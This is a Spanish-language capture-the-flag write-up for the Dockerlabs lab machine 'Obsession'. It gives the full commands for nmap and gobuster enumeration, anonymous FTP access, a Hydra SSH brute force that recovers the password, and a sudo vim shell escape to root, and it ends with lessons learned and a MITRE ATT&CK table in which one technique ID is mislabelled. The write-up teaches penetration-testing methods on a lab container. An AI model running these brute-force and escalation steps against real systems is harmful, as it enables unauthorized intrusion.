

Maquina Obsession

Nivel: Muy Fácil

Autor: Dockerlabs

Categoría: FTP, Fuerza bruta, Escalada de privilegios (sudo-vim)

Escaneo inicial con Nmap

El primer paso en cualquier auditoría es obtener visibilidad de los servicios expuestos en el objetivo.

Usamos:

```
-(zikuta@zikuta)-[~]
└─$ nmap -sV -sS -Pn -p- -sC --min-rate 5000 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-10 16:49 CDT
Nmap scan report for 172.17.0.2
Host is up (0.000011s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:172.17.0.1
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 1
|   vsFTPD 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0      0              667 Jun 18  2024 chat-gonza.txt
|_-rw-r--r--    1 0      0              315 Jun 18  2024 pendientes.txt
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
|   256 60:05:bd:a9:97:27:a5:ad:46:53:82:15:dd:d5:7a:dd (ECDSA)
|_  256 0e:07:e6:d4:3b:63:4e:77:62:0f:1a:17:69:91:85:ef (ED25519)
80/tcp    open  http      Apache httpd 2.4.58 ((Ubuntu))
```

```
|_http-title: Russoski Coaching
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds

Explicación de flags:

- `-sS` : escaneo SYN (rápido y sigiloso)
- `-sV` : detección de versiones
- `-sC` : scripts por defecto (equivale a un escaneo NSE básico)
- `-Pn` : sin ping (útil si ICMP está bloqueado)
- `-p-` : todos los puertos
- `--min-rate 5000` : rapidez del escaneo

Resultado:

```
21/tcp open  ftp      vsftpd 3.0.5
22/tcp open  ssh      OpenSSH 9.6p1 Ubuntu
80/tcp open  http     Apache httpd 2.4.58
```

Esto nos da 3 vectores: **FTP, SSH y web**.

Enumeración del servicio FTP (puerto 21)

Probamos acceso anónimo:

```
ftp 172.17.0.2
User: anonymous
Pass: (vacío)
```

Acceso permitido (código FTP 230).

```
-rw-r--r-- 1 0 0 667 Jun 18 2024 chat-gonza.txt
-rw-r--r-- 1 0 0 315 Jun 18 2024 pendientes.txt
```

Contenido tipo chat de WhatsApp entre dos personas (Russoski y Gonza):

Se menciona un **video subido a una ruta segura**, pero no se proporciona la URL. Este detalle nos hace pensar que hay archivos o rutas ocultas en la web que aún no se han revelado.

```
└─(zikuta@zikuta)-[~]
└─$ cat chat-gonza.txt
[16:21, 16/6/2024] Gonza: pero en serio es tan guapa esa tal Nágore como dices?
[16:28, 16/6/2024] Russoski: es una auténtica princesa pff, le he hecho hasta un vídeo y todo, lo tengo ya subido y tengo la URL guardada
[16:29, 16/6/2024] Russoski: en mi ordenador en una ruta segura, ahora cuando quedemos te lo muestro si quieres
[21:52, 16/6/2024] Gonza: buah la verdad tenías razón eh, es hermosa esa chica, del 9 no baja
[21:53, 16/6/2024] Gonza: por cierto buen entreno el de hoy en el gym, noto los brazos bastante hinchados, así sí
[22:36, 16/6/2024] Russoski: te lo dije, ya sabes que yo tengo buenos gustos para estas cosas xD, y sí buen training hoy
```

pendientes.txt :

1. Comprar voucher de eJPT
2. Aumentar precio de asesorías online en la Web
3. Terminar laboratorio para Dockerlabs
4. Cambiar algunas configuraciones inseguras del equipo

La última línea indica que el sistema **podría tener permisos mal configurados o vulnerabilidades sin corregir**.

Enumeración Web (puerto 80)

Accedemos a `http://172.17.0.2/` y vemos una web personal de un entrenador llamado **Russoski**, quien ofrece asesorías.

El diseño es estático, pero queremos saber si hay rutas ocultas. Entonces usamos `gobuster` :

```
(zikuta@zikuta)-[~]
└─$ gobuster dir -u http://172.17.0.2 -w
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
-x txt,php,html,py -t 40
=====
Gobuster v3.6
```

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

```
=====
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html,py
[+] Timeout: 10s
=====
```

Starting gobuster in directory enumeration mode

```
=====
/index.html (Status: 200) [Size: 5208]
/.html (Status: 403) [Size: 275]
/backup (Status: 301) [Size: 309] [-->
http://172.17.0.2/backup/]
/important (Status: 301) [Size: 312] [-->
http://172.17.0.2/important/]
/.html (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
```

Rutas interesantes descubiertas:

```
/index.html [200]
/backup [301]
/important [301]
```

Inspección del contenido oculto

/backup/backup.txt :

```
Usuario para todos mis servicios: russoski (cambiar pronto!)
```

Esto revela el **nombre de usuario principal del sistema**, y sugiere mala higiene de **contraseñas**, ya que no ha cambiado algo tan crítico.

/important/important.md :

Un manifiesto tipo "Hacker's Manifesto". Es texto decorativo, **sin información técnica directamente útil**, pero **refuerza el perfil del usuario como alguien egocéntrico y técnico**, lo cual nos será útil después.

Ataque de fuerza bruta sobre SSH (puerto 22)

Con la información obtenida:

- Usuario: russoski
- Estilo de escritura narcisista y emocional ("me grabé", "es hermosa", "yo tengo buen gusto")
- Contraseñas probablemente simples

Hipótesis lógica: si es egocéntrico, probablemente use algo como iloveme , 123456 , password , etc.

ATAQUE DE FUERZA BRUTA SOBRE SSH CON HYDRA:

```
└─(zikuta@zikuta)-[~]
└─$ hydra -l russoski -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is
non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-10
17:42:03
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip
waiting)) from a previous session found, to prevent overwriting,
./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries
(l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: russoski password: iloveme
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 5 final worker threads did not complete
until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-10
17:42:49
```

Probamos:

```
ssh russoski@172.17.0.2
Contraseña: iloveme
```

¡Acceso exitoso!

Escalada de privilegios (de usuario a root)

Realizamos un `sudo -l`

```
russoski@d97f456bcdcb:~$ sudo -l
Matching Defaults entries for russoski on d97f456bcdcb:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\
:/snap/bin,
    use_pty

User russoski may run the following commands on d97f456bcdcb:
    (root) NOPASSWD: /usr/bin/vim
```

russoski puede ejecutar **vim como root sin contraseña**.

Esto es extremadamente peligroso, ya que vim permite ejecutar comandos de shell.

Escalada:

Ejecutamos el siguiente comando

```
russoski@d97f456bcdcb:~$ sudo /usr/bin/vim vim -c '!/bin/sh'

# whoami
root
```

Se obtiene **shell como root** al instante.

Conclusion Final

Paso	Resultado clave
Acceso anónimo a FTP	Archivos con pistas clave: nombre de usuario, hints
Enumeración web	Archivos ocultos con info crítica (usuario)



Paso	Resultado clave
Brute force lógico	Contraseña débil basada en el ego del usuario
Escalada de privilegios	Configuración peligrosa de <code>vim</code> en <code>sudo</code> sin contraseña

Lecciones aprendidas

- **FTP anónimo** sin control es una puerta abierta al sistema.
- Los **detalles personales** pueden ser clave para ataques de ingeniería social o bruteforce lógico.
- Permitir `vim` como `sudo` sin contraseña equivale a entregar acceso root.
- Nunca reutilices nombres de usuario/credenciales en todos tus servicios.
- El contenido "irrelevante" puede tener valor estratégico.

Mitre ATT&CK

◆ Táctica (Objetivo del atacante)	⚙️ Técnica (Lo que hizo)	ID ID MITRE	💬 Descripción en contexto de la máquina Obsession
Initial Access	Valid Accounts: SSH	T1078.004	Se usaron credenciales válidas (<code>russoski : iloveme</code>) para acceder por SSH.
Discovery	File and Directory Discovery	T1083	Se exploraron archivos dentro del FTP (<code>chat-gonza.txt</code> , <code>pendientes.txt</code>) y la web.
	Active Scanning	T1595.001	Uso de <code>nmap</code> para detectar servicios y puertos abiertos del objetivo.
	Gather Victim Org Info: Web Infrastructure	T1592.004	Se revisó la estructura del sitio (<code>/backup</code> , <code>/important</code>) y se obtuvo el nombre de user.
Credential Access	Brute Force: Password Guessing	T1110.001	Contraseña fue adivinada lógicamente (<code>iloveme</code>) para el usuario <code>russoski</code> .
Privilege Escalation	Abuse Elevation Control Mechanism: Sudo and Sudo Caching	T1548.001	El usuario podía ejecutar <code>vim</code> con <code>sudo</code> sin contraseña para escalar a root.
Execution / Defense	Command and Scripting Interpreter:	T1059.005	Se usó <code>vim -c '!bash'</code> como intérprete de comandos para

 Táctica (Objetivo del atacante)	 Técnica (Lo que hizo)	 ID MITRE	 Descripción en contexto de la máquina Obsession
Evasion	vim Shell		ejecutar comandos como root.